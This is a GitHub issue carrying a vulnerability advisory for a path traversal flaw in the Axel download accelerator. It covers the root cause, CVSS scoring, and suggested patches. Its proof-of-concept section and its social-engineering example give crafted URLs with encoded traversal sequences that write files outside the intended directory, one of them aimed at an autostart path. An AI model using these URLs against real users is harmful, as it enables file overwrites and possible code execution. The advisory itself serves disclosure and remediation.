Skip to content

Path Traversal via URL Filename Decoding #477

Description

@z00z00z00

OCD-2026-008 — Path Traversal via URL Filename Decoding

Summary

Field Value
Product Axel Download Accelerator
Version ≤ 2.17.14 (all versions)
Component src/axel.caxel_new() / src/http.chttp_decode()
CWE CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
CVSS 3.1 7.5 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Impact Arbitrary file write (confirmed); may lead to code execution depending on context
Reporter Guillaume Meunier — Orange Cyberdefense VOC Team
Date 2026-02-28
Status Confirmed — arbitrary file write reproduced

Description

Axel performs URL percent-decoding (http_decode()) on the output filename after the URL has been parsed and the filename component extracted. This allows an attacker to embed %2e%2e%2f (URL-encoded ../) sequences in the URL path. These sequences survive the URL parser intact (they contain no literal / characters) but are decoded into directory traversal sequences before the output file is opened for writing.

As a result, a crafted URL can cause axel to write downloaded content to arbitrary filesystem paths relative to the current working directory.

Root Cause

The vulnerability arises from the ordering of two operations:

Step 1 — URL parsing (conn_set(), src/conn.c:93-116):

The URL is split on literal / characters. For the URL http://evil.com/%2e%2e%2ftest, the parser sees no real slashes in the filename portion, so conn->file = "%2e%2e%2ftest".

i = strrchr(conn->dir, '/');
strlcpy(conn->file, i + 1, sizeof(conn->file));

Step 2 — Percent-decode applied AFTER extraction (axel_new(), src/axel.c:187-188):

strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
http_decode(axel->filename);
// axel->filename is now "../test" — directory traversal

Step 3 — File opened without path validation (axel_open(), src/axel.c):

axel->outfd = open(axel->filename, O_CREAT|O_WRONLY|O_TRUNC, 0666);
// Opens "../test" — writes outside intended directory

Note: The separate http_filename() function (Content-Disposition handling) does replace % with _, which would block this attack. However, http_filename() is only used when the server sends a Content-Disposition header. When no such header is present (the default), the URL-derived filename is used without equivalent sanitization.

Proof of Concept

Minimal reproduction (no malicious server required — any HTTP server works):

# Start a simple HTTP server serving an arbitrary file
echo "ARBITRARY CONTENT" > /tmp/served.txt
cd /tmp && python3 -m http.server 8888 &

# Create a working directory and download with path traversal
mkdir -p /tmp/testdir/subdir && cd /tmp/testdir/subdir
axel 'http://127.0.0.1:8888/%2e%2e%2fpwned.txt'

Result:

Initializing download: http://127.0.0.1:8888/%2e%2e%2fpwned.txt
Opening output file ../pwned.txt         ← PATH TRAVERSAL
Downloaded XXX byte(s)

The file pwned.txt is written to /tmp/testdir/ (parent directory) instead of /tmp/testdir/subdir/ (current directory).

Multi-level traversal:

cd /tmp/a/b/c/d
axel 'http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt'
# axel opens: ../../../../tmp/pwned.txt
# File written to /tmp/pwned.txt

Reproduction

Parameter Value
OS Ubuntu 25.10 (x86_64)
Compiler GCC 15.1.0
Commit b1b8c2fc67eef61d421a61699eaed46efcdb97d5 (2025-02-03)
Build ./configure --without-ssl && make
Server Any HTTP server returning 200 OK (e.g., python3 -m http.server)

Impact Assessment

Scenario Status Notes
Arbitrary file write Confirmed Files written to attacker-controlled relative path
Overwrite sensitive files Confirmed Any file writable by the user can be targeted
Code execution Possible Depends on context — overwriting shell configuration files, SSH authorized_keys, cron jobs, or executables in $PATH would lead to code execution. Requires the victim to run axel with a crafted URL (UI:R).

Social engineering vector: An attacker distributes a "download link" containing %2e%2e%2f sequences. The URL-encoding is not immediately obvious to casual inspection:

axel http://releases.example.com/v2.1/%2e%2e%2f%2e%2e%2f.config%2fautostart%2fupdate

Remediation

Option 1: Decode before splitting (recommended)

Apply http_decode() to the full URL path before splitting into directory and filename components in conn_set(). This way, decoded / characters are handled by the normal path parser.

Option 2: Sanitize after decode

// In axel_new(), after http_decode():
strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
http_decode(axel->filename);

// Enforce basename-only: strip any directory component
char *slash = strrchr(axel->filename, '/');
if (slash)
    memmove(axel->filename, slash + 1, strlen(slash + 1) + 1);
slash = strrchr(axel->filename, '\\');
if (slash)
    memmove(axel->filename, slash + 1, strlen(slash + 1) + 1);

// Reject . and .. explicitly
if (strcmp(axel->filename, ".") == 0 || strcmp(axel->filename, "..") == 0
    || strstr(axel->filename, "..")) {
    fprintf(stderr, "Invalid filename (path traversal rejected)\n");
    axel->ready = -1;
    return axel;
}

// Reject control characters
for (char *p = axel->filename; *p; p++) {
    if ((unsigned char)*p < 0x20) {
        fprintf(stderr, "Invalid character in filename\n");
        axel->ready = -1;
        return axel;
    }
}

Suggested Patch

--- a/src/axel.c
+++ b/src/axel.c
@@ -187,6 +187,18 @@ axel_new(conf_t *conf, int count, const search_t *res)
 	strlcpy(axel->filename, axel->conn[0].file, sizeof(axel->filename));
 	http_decode(axel->filename);
 
+	/* Sanitize: enforce basename-only after decode (CVE-TBD) */
+	{
+		char *sep = strrchr(axel->filename, '/');
+		if (!sep)
+			sep = strrchr(axel->filename, '\\');
+		if (sep)
+			memmove(axel->filename, sep + 1, strlen(sep + 1) + 1);
+		if (!*axel->filename || strstr(axel->filename, "..")) {
+			fprintf(stderr, _("Unsafe filename rejected\n"));
+			axel->ready = -1;
+			return axel;
+		}
+	}
+
 	if ((s = strchr(axel->filename, '?')) != NULL &&
 	    axel->conf->strip_cgi_parameters)
 		*s = 0;		/* Get rid of CGI parameters */

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions